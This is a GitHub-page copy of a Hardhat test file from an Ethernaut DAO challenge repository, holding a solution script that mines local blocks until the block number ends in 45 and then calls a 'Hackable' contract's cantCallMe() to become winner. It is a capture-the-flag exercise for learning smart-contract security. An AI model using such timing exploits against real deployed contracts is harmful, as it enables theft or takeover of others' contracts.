generated from nicobevilacqua/EthernautDAOWeeklyChallenges
-
Notifications
You must be signed in to change notification settings - Fork 0
/
06-Hackable.test.ts
40 lines (32 loc) · 1.05 KB
/
06-Hackable.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers';
import { expect } from 'chai';
import { Contract } from 'ethers';
import { ethers, network } from 'hardhat';
const LAST_X_DIGITS = 45;
const MOD = 100;
describe('Hackable', () => {
let target: Contract;
let attacker: SignerWithAddress;
let deployer: SignerWithAddress;
before(async () => {
[attacker, deployer] = await ethers.getSigners();
target = await (
await ethers.getContractFactory('Hackable', deployer)
).deploy(LAST_X_DIGITS, MOD);
await target.deployed();
target = target.connect(attacker);
});
it('attack', async () => {
while (true) {
const currentBlockNumber = await ethers.provider.getBlock('latest');
const nextBlockNumber = currentBlockNumber.number + 1;
if (nextBlockNumber % MOD === LAST_X_DIGITS) {
const tx = await target.cantCallMe();
await tx.wait();
break;
}
await network.provider.send('evm_mine');
}
expect(await target.winner()).to.equal(attacker.address);
});
});